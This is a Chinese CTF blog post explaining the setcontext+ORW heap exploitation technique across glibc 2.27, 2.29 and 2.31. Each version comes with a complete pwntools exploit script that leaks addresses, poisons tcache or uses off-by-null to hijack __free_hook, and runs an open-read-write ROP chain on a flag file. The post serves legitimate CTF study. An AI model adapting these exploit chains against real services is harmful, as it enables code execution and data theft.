setcontext+orw

博客 分享
0 217
张三
张三 2022-01-26 19:54:33
悬赏:0 积分 收藏

setcontext+orw

setcontext+orw 大致可以把2.27,2.29做为两个分界点。

我们先来讨论 2.27 及以下的 setcontext + orw 的写法。

首先 setcontext 是什么?了解过 SROP 的师傅应该知道 pwntools 自带了一款可以控制寄存器值的工具。模板如下:

frame = SigreturnFrame()frame.rsp = xxxframe.rdi = xxxframe.rsi = xxxframe.rdx = xxxframe.rip = xxx

它实质上就是依靠 setcontext 来实现的,我们从 IDA 里看看它究竟啥样。

我们可以很清楚地看出它的作用是通过 rdi 寄存器里的地址附近的地址里的值来给设置各个寄存器的值。glibc2.27 我们通常从 setcontext + 53 开始使用,也就是 mov   rsp, [rdi+0A0h] 那一行,在阅读其他师傅的文章后知道是因为上面的 fldenv  byte pte [rcx] 会造成程序执行时直接 crash。从 setcontext + 53 开始我们可以看到我们会给各个寄存器赋值。值得注意的是,mov     rcx, [rdi+0A8h]  和 push  rcx 实质上是在给我们的 rip 进行赋值。而众多寄存器唯一不可控制的是 rax寄存器,因为不仅没给 rax 赋值还在最后有一个 xor  eax,eax 。但这也意味着我们一定可以把 rax 设置成 0 。大部分题目中通过控制 rsp 和 rip 就可以很好地解决堆题不方便直接控制程序的执行流的问题。我们通常是吧 setcontext + 53 写进 __free_hook 或者 __malloc_hook 中,然后建立或者释放一个堆块,此时的 rdi 就会是该堆块的 chunk 头,那如果我们提前布局好堆,就意味着我们可以控制寄存器并劫持程序的执行流。

大体上思路差不多是两种(此处仅讨论 orw),第一种是直接控制程序执行流去执行ROP链,另一种是先用 mprotect 函数开辟一段可读可写可执行的空间再跳到上面去执行 shellcode。个人是比较喜欢直接执行 ROP 链的方法。

拿一个国赛的题 silverwolf 来加深 2.27 setcontext+orw

from pwn import *context.arch = 'amd64'context.log_level = 'debug's = process('./silverwolf')libc = ELF('./glibc-all-in-one/libs/2.27-3ubuntu1.4_amd64/libc-2.27.so')def add(size):    s.sendlineafter(b'Your choice: ', b'1')    s.sendlineafter(b'Index: ', b'0')    s.sendlineafter(b'Size: ', str(size))def edit(content):    s.sendlineafter(b'Your choice: ', b'2')    s.sendlineafter(b'Index: ', b'0')    s.sendlineafter(b'Content: ', content)def show():    s.sendlineafter(b'Your choice: ', b'3')    s.sendlineafter(b'Index: ', b'0')def delete():    s.sendlineafter(b'Your choice: ', b'4')    s.sendlineafter(b'Index: ',b'0')for i in range(7):    add(0x78)delete()edit(b'a'*0x10)delete()show()s.recvuntil(b'Content: ')heap_base = u64(s.recv(6).ljust(8,b'\x00')) & 0xfffffffffffff000success('heap_base=>' + hex(heap_base))add(0x78)edit(p64(heap_base + 0x10))add(0x78)add(0x78)edit(b'\x00'*0x23 + b'\x07')delete()show()libc_base = u64(s.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 96 - 0x10 - libc.sym['__malloc_hook']success('libc_base=>' + hex(libc_base))pop_rdi_ret = libc_base + 0x00000000000215bfpop_rsi_r15_ret = libc_base + 0x00000000000215bdpop_rdx_ret = libc_base + 0x0000000000001b96pop_rax_ret = libc_base + 0x0000000000043ae8syscall_ret = libc_base + libc.sym['read'] + 0xfret = libc_base + 0x00000000000008aa__free_hook = libc_base + libc.sym['__free_hook']setcontext_53 = libc_base + libc.sym['setcontext'] + 53write_addr = libc_base + libc.sym['write']flag_addr = heap_base + 0x1000stack_addr_1 = heap_base + 0x2000stack_addr_2 = heap_base + 0x20a0orw_addr_1 = heap_base + 0x3000orw_addr_2 = heap_base + 0x3060orw = p64(pop_rdi_ret) + p64(flag_addr)orw+= p64(pop_rsi_r15_ret) + p64(0) + p64(0) orw+= p64(pop_rax_ret) + p64(2) orw+= p64(syscall_ret)orw+= p64(pop_rdi_ret) + p64(3)orw+= p64(pop_rsi_r15_ret) + p64(heap_base + 0x4000) + p64(0)orw+= p64(pop_rdx_ret) + p64(0x100)orw+= p64(pop_rax_ret) + p64(0)orw+= p64(syscall_ret)orw+= p64(pop_rdi_ret) + p64(1)orw+= p64(pop_rsi_r15_ret) + p64(heap_base + 0x4000) + p64(0)orw+= p64(pop_rdx_ret) + p64(0x100)orw+= p64(write_addr) #0xd0payload = b'\x02'*0x40payload+= p64(__free_hook)   #0x20payload+= p64(flag_addr)     #0x30payload+= p64(0)             #0x40payload+= p64(stack_addr_1)  #0x50payload+= p64(stack_addr_2)  #0x60payload+= p64(orw_addr_1)    #0x70payload+= p64(orw_addr_2)    #0x80edit(payload)add(0x10)edit(p64(setcontext_53))add(0x20)edit(b'./flag')add(0x50)edit(p64(orw_addr_1) + p64(ret))add(0x60)edit(orw[:0x60])add(0x70)edit(orw[0x60:])add(0x40)delete()#gdb.attach(s)s.interactive()

 

接下来我们来看 2.29 的 setcontext + orw ,2.29 最大的变动就是 setcontext 里控制寄存器由 rdi 变成了 rdx,这就使得我们无法通过直接控制 free 的堆块来控制寄存器。所以我们要用到一些 gadget 来把 rdi 和 rdx 转换一下。

 在2.29里我认为这两个 gadget 比较好用,我先选择了下一个,如果我们把 __free_hook 改成了这个 magic_gadget,再去 free 一个我们布局好的堆块。这个堆块把 rdi+8 地址里的值改为我们布好偏移的堆块的地址,再把 rdi 的值改为 setcontext+53 的值。 free 这个堆块其实就是在把 rdi 设置好的情况下,去执行了 setcontext 来控制寄存器。

 

拿 2019-BALSN-CTF-plaintext 来加深 2.29 的setcontext + orw

有一个 2.29 的 off by null,在off by null 那一篇文章提到过。且这里为了好调试,我关闭了本地aslr。

from pwn import *context.arch = 'amd64'context.log_level = 'debug's = process('./plaintext')libc = ELF('./glibc-all-in-one/libs/2.29-0ubuntu2_amd64/libc-2.29.so')def add(size,content):    s.sendlineafter(b'Choice: ' , b'1')    s.sendlineafter(b'Size: ' , str(size))    s.sendafter(b'Content: ' , content)def delete(index):    s.sendlineafter(b'Choice: ' , b'2')    s.sendlineafter(b'Idx: ' , str(index))def show(index):    s.sendlineafter(b'Choice: ' , b'3')    s.sendlineafter(b'Idx: ' , str(index))def clean():    for i in range(2):        add(0xe0 , b'a') # 0-1    for i in range(5):        add(0xc0 , b'a') # 2-6    for i in range(9):        add(0x70 , b'a') # 7-15    for i in range(16):        add(0x60 , b'a') # 16-31    for i in range(16):        add(0x10 , b'a') # 32-47    for i in range(8):        add(0x1000 , b'a') # 48-55    add(0xb70 ,b'a') # 56clean() # clean bins prouced by seccomp and make second byte of the address of large bin is \x00for i in range(7):    add(0x28 , b't') # 57-63add(0xb20 ,b'large') # 64add(0x10 ,b'a') # 65delete(64)add(0x1000 ,b'a') # 64 make old chunk_64 to large binadd(0x28 , p64(0) + p64(0x521) + p8(0x40)) # 66# make fake_chunk's fd->bk = fake_chunkadd(0x28 ,b'a') # 67add(0x28 ,b'a') # 68add(0x28 ,b'a') # 69add(0x28 ,b'a') # 70for i in range(7):    delete(i+57) # full tcachedelete(69)delete(67)for i in range(7):    add(0x28 , b't') # 57-63add(0x400 ,b'a') # 47 touch off malloc_consolidate()add(0x28 ,p64(0) + p8(0x20)) # 49 successfully make fake_chunk's fd->bk = fake_chunk# make fake_chunk's bk->fd = fake_chunkadd(0x28 ,b'clean') # 71 clean tcachefor i in range(7):    delete(i+57) # full tcachedelete(68)delete(66)for i in range(7):    add(0x28 , b't') # 57-63add(0x28 ,p8(0x20)) # 66# off by nulladd(0x28 ,b'clean') # 68add(0x28 ,b'a')  # 72add(0x5f8 ,b'a') # 73add(0x100 ,b'a') # 74delete(72)add(0x28 ,b'\x00'*0x20 + p64(0x520)) # 72delete(73)# leak libc and heap addradd(0x40 ,b'a') # 73show(68)libc_base = u64(s.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 96 - 0x10 - libc.sym['__malloc_hook']success('libc_base=>' + hex(libc_base))add(0x28 ,b'a') # 75 = 68delete(57)delete(68)show(75)heap_base_addr = u64(s.recv(6).ljust(8,b'\x00')) + 0x1e0 - 0x10success('heap_base_addr=>' + hex(heap_base_addr))__free_hook = libc_base + libc.sym['__free_hook']setcontext_53 = libc_base + libc.sym['setcontext'] + 53magic_gadget = libc_base + 0x000000000012be97'''mov rdx, qword ptr [rdi + 8];mov rax, qword ptr [rdi];mov rdi, rdx;jmp rax;'''pop_rax_ret = libc_base + 0x0000000000047cf8pop_rdi_ret = libc_base + 0x0000000000026542pop_rsi_ret = libc_base + 0x0000000000026f9epop_rdx_ret = libc_base + 0x000000000012bda6ret_addr = libc_base + 0x000000000002535fsyscall_ret = libc_base + libc.sym['read'] + 0xf# setcontextadd(0x28 ,b'a') # 57 = 75add(0x28 ,b'a') # 68delete(70)add(0x40 ,p64(0)*5 + p64(0x31) + p64(__free_hook)) # 70add(0x28 ,b'a') # 76add(0x28 ,p64(magic_gadget)) # 77flag_addr = heap_base_addr + 0x60 + 0x10fake_stack_addr = heap_base_addr + 0x60 + 0x30 - 0xa0orw_addr = heap_base_addr + 0x60 + 0x10 + 0x50 bss_addr = libc_base + libc.bss()add(0x28 ,p64(setcontext_53) + p64(fake_stack_addr) + b'./flag\x00\x00') # 78add(0x28 ,p64(orw_addr) + p64(ret_addr)) # 79orw = p64(pop_rdi_ret) + p64(flag_addr)orw+= p64(pop_rsi_ret) + p64(0)orw+= p64(pop_rax_ret) + p64(2)orw+= p64(syscall_ret)orw+= p64(pop_rdi_ret) + p64(3)orw+= p64(pop_rsi_ret) + p64(bss_addr)orw+= p64(pop_rdx_ret) + p64(0xe)orw+= p64(pop_rax_ret) + p64(0)orw+= p64(syscall_ret)orw+= p64(pop_rdi_ret) + p64(1)orw+= p64(pop_rsi_ret) + p64(bss_addr)orw+= p64(pop_rdx_ret) + p64(0xe)orw+= p64(pop_rax_ret) + p64(1)orw+= p64(syscall_ret)add(0x100 ,orw) # 80#gdb.attach(s)delete(78)s.interactive()

 

接下来就是 2.31 的 setcontext+orw

和之前版本的区别是setcontext 的位置变成了 setcontext+61

 

 而且之前 2.29 发现的gadget只剩下一个了

 

我们把那个 plaintext 重新用2.31编译了一下,且没开沙盒这样就可以省去填充沙盒开辟出来的堆块的步骤了。

from pwn import *context.arch = 'amd64'context.log_level = 'debug's = process('./note1')libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')def add(size,content):    s.recvuntil(b'Choice: ')    s.sendline(b'1')    s.recvuntil(b'size: ')    s.sendline(str(size))    s.recvuntil(b'content: ')    s.send(content)def delete(index):    s.recvuntil(b'Choice: ')    s.sendline(b'2')    s.recvuntil(b'idx: ')    s.sendline(str(index))def show(index):    s.recvuntil(b'Choice: ')    s.sendline(b'3')    s.recvuntil(b'idx: ')    s.sendline(str(index))    for i in range(6):    add(0x1000 ,b'a') # 0-5add(0x1000 - 0x410 ,b'a') # 6for i in range(7):    add(0x28 ,b't')   # 7-13add(0xb20 ,b'large') # 14 chunk head address is 0x......0040add(0x10 ,b'a') # 15delete(14)add(0x1000 ,b'a') # 14add(0x28 ,p64(0) + p64(0x521) + p8(0x70)) # 16# make fake_chunk's fd->bk = fake_chunkadd(0x28 ,b'a') # 17add(0x28 ,b'a') # 18add(0x28 ,b'a') # 19add(0x28 ,b'a') # 20for i in range(7):    delete(i+7)delete(19)delete(17)for i in range(7):    add(0x28 ,b't')   # 7-13add(0x400 ,b'a') # 17add(0x28 ,p64(0) + p8(0x50)) # 19# make fake_chunk's bk->fd = fake_chunkadd(0x28 ,b'a') # 21 clean tcachefor i in range(7):    delete(i+7)delete(18)delete(16)for i in range(7):    add(0x28 ,b't')   # 7-13add(0x28 ,p8(0x50)) # 16# off by nulladd(0x28 ,b'a') # 18 clean fastbinadd(0x28 ,b'a') # 22add(0x5f8 ,b'a') # 23add(0x100 ,b'a') # 24 delete(22)add(0x28 ,b'a'*0x20 + p64(0x520)) # 22delete(23)# leak libc and heapadd(0x18 ,b'a') # 23show(19)libc_base = u64(s.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 96 - 0x10 - libc.sym['__malloc_hook']success('libc_base=>' + hex(libc_base))add(0x28 ,b'a') # 25add(0x28 ,b'a') # 26=18delete(20)delete(18)show(26)heap = u64(s.recv(6).ljust(8,b'\x00'))success(hex(heap))add(0x28 ,b'a') # 18=26add(0x28 ,b'a') # 20__free_hook = libc_base + libc.sym['__free_hook']setcontext_61 = libc_base + libc.sym['setcontext'] + 61magic_gadget = libc_base + 0x0000000000154930bss_addr = libc_base + libc.bss()pop_rax_ret = libc_base + 0x000000000004a550pop_rdi_ret = libc_base + 0x0000000000026b72pop_rsi_ret = libc_base + 0x0000000000027529pop_rdx_r12_ret = libc_base + 0x000000000011c371syscall_ret = libc_base + libc.sym['read'] + 0x10ret_addr = libc_base + 0x0000000000025679stack_addr = heap + 0x40orw_addr = heap + 0x100'''mov rdx, qword ptr [rdi + 8];mov qword ptr [rsp], rax;call qword ptr [rdx + 0x20];'''# attackdelete(18)delete(20)add(0x40 ,b'a'*0x20 + p64(0) + p64(0x31) + p64(__free_hook)) #18add(0x20 ,b'a') # 20add(0x20 ,p64(magic_gadget)) # 27add(0x10 , p64(0) + p64(stack_addr)) # 28success(hex(stack_addr))stack = b'./flag\x00\x00' + p64(0)*3 + p64(setcontext_61)stack+= b'\x00'*(0xa0-0x28)stack+= p64(orw_addr) + p64(ret_addr)add(0xb0 ,stack) # 29orw = p64(pop_rdi_ret) + p64(stack_addr)orw+= p64(pop_rax_ret) + p64(2)orw+= p64(syscall_ret)orw+= p64(pop_rdi_ret) + p64(3)orw+= p64(pop_rsi_ret) + p64(bss_addr)orw+= p64(pop_rdx_r12_ret) + p64(0x100) + p64(0)orw+= p64(pop_rax_ret) + p64(0)orw+= p64(syscall_ret)orw+= p64(pop_rdi_ret) + p64(1)orw+= p64(pop_rsi_ret) + p64(bss_addr)orw+= p64(pop_rdx_r12_ret) + p64(0x100) + p64(0)orw+= p64(pop_rax_ret) + p64(1)orw+= p64(syscall_ret)add(0x100 ,orw) # 30#gdb.attach(s)delete(28)s.interactive()

 

附件

提取码:efi9

 

参考链接

https://blog.csdn.net/yongbaoii/article/details/119544590

https://blog.csdn.net/carol2358/article/details/107115485

https://blog.csdn.net/A951860555/article/details/118268484

https://blog.csdn.net/weixin_43960998/article/details/115838190

本文来自博客园,作者:{狒猩橙},转载请注明原文链接:https://www.cnblogs.com/pwnfeifei/p/15819825.html

posted @ 2022-01-26 19:39 狒猩橙 阅读(0) 评论(0) 编辑 收藏 举报
回帖
    张三

    张三 (王者 段位)

    821 积分 (2)粉丝 (41)源码

     

    温馨提示

    亦奇源码

    最新会员